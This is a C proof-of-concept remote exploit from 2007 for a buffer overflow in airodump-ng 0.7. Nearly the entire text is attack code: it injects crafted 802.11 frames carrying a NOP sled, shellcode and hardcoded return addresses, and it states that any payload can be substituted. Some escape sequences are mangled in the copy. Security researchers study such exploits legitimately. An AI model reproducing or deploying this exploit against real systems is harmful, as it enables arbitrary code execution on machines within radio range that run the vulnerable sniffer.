/**
* airodump-exp.c - aircrack/airodump-ng (0.7) remote exploit
*
* Proof of concept exploit for a stack (and heap) based
* overflow in airodump-ng. The vulnerability can be exploited
* by transmitting some specially crafted 802.11 packets to
* execute arbitrary code on any machines within range
* that are sniffing with a vulnerable version of airodump-ng.
*
* This exploit requires the lorcon 802.11 packet injection
* library, see http://802.11ninja.net for details.
*
* Compiling:
*
* gcc -o airodump-remote airodump-remote.c -lorcon
*
* Usage:
*
* ./airodump-ng <interface> <driver> <channel> <headertype> [return addr]
*
* Drivers supported by lorcon:
*
* wlan-ng, hostap, airjack, prism54, madwifing, madwifiold,
* rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw
*
* Header types:
*
* 0 - None (not tested)
* 1 - Fake prism54 header
* 2 - Fake radiotap header (not tested)
*
* Return addresses:
*
* Backtrack Linux 2 (2.6.20) aircrack-ng 0.7 - 0x8054934
* Gentoo Linux (2.6.16) aircrack-ng 0.7 - 0x8055934
*
* Example usage:
*
* ./airodump-ng wlan0 prism54 11 1 0x8054934
*
* Original advisory: http://www.nop-art.net/advisories/airodump-ng.txt
* Author: Jonathan So [ jonny [ @ ] nop-art.net ]
*
* Copyright (C) 2007 Jonathan So
*/
#include <stdio.h>
#include <stdlib.h>
#include <tx80211.h>
// Linux x86 sys_write shellcode. Any arbitrary shellcode should work
// here, it doesn\'t matter if it contains nulls. Maximum 792 bytes.
char shellcode[] = \"xebx14\" // jmp get_message
// start:
\"x59x31xdbx31xd2xb2\"
\"x1b\" // message length
\"x31xc0x88x04x11\"
\"xb0x04xcdx80\" // sys_write
\"xb0x01xcdx80\" // sys_exit
// get_message:
\"xe8xe7xffxffxff\" // call start
\"Stop sniffing our network!!\"; // message text
int main(int argc, char **argv)
{
tx80211_t tx;
tx80211_packet_t txp;
uint8_t packet[1044];
uint8_t *ppacket;
int headertype;
unsigned ret_addr = 0x8054934;
FILE *fp;
if(argc<5) {
printf(\"usage: %s <interface> <driver> <channel> <arptype>
[ret_addr]
\", argv[0]);
exit(1);
}
if(argc>5) {
ret_addr = strtoul(argv[5], NULL, 16);
}
headertype = atoi(argv[4]);
if ( tx80211_init(&tx, argv[1], tx80211_resolvecard(argv[2])) !=
TX80211_ENOERR) {
fprintf(stderr, \"Error initializing driver\");
return 1;
}
if (tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON) !=
TX80211_ENOERR) {
fprintf(stderr, \"Error setting inject mode
\");
return 1;
}
if (tx80211_setchannel(&tx, atoi(argv[3])) < 0) {
fprintf(stderr, \"Error setting channel
\");
}
if (tx80211_open(&tx) < 0) {
fprintf(stderr, \"Unable to open interface
\");
return 1;
}
txp.packet = packet;
// Fill packet with nops
memset(packet, 0x90, sizeof(packet));
switch (headertype) {
case 0:
// No arptype, just send raw packet
ppacket = packet;
break;
case 1:
// Send fake prism header
memcpy(packet+4, \"x08x00x00x00\", 4);
ppacket = packet + 8;
break;
case 2:
// Send fake radiotap header
packet[0] = 0;
packet[2] = 3;
ppacket = packet + 3;
break;
default:
printf(\"Invalid header type. Valid options are:
\");
printf(\" 0 - none
\");
printf(\" 1 - prism54
\");
printf(\" 2 - radiotap
\");
return 1;
}
// set some necessary 802.11 header fields
ppacket[0] = 0xB0;
ppacket[1] = 0;
ppacket[24] = 1;
ppacket[25] = 0;
ppacket[26] = 2;
ppacket[27] = 0;
txp.plen = 512 + (ppacket - packet);
if (tx80211_txpacket(&tx, &txp) < txp.plen) {
fprintf(stderr, \"Error sending packet 1
\");
return 1;
}
ppacket[26] = 4;
if (tx80211_txpacket(&tx, &txp) < txp.plen) {
fprintf(stderr, \"Error sending packet 2
\");
return 1;
}
// Insert shellcode at end of nopsled
memcpy(ppacket+(820-sizeof(shellcode)), shellcode, sizeof(shellcode));
// Overwrite some char*, needs to be a valid address
memcpy(ppacket+1028, &ret_addr, 4);
// Overwrite global variable sk_len, used as argument to memcpy
memcpy(ppacket+1032, \"x20x05x00x00\", 4);
// Return address
memcpy(ppacket+820, &ret_addr, 4);
ppacket[1] = 0x40;
txp.plen = 1036 + + (ppacket - packet);
if (tx80211_txpacket(&tx, &txp) < txp.plen) {
fprintf(stderr, \"Error sending packet 3
\");
return 1;
}
tx80211_close(&tx);
return 0;
}
京公网安备 11010502034610号
暂无评论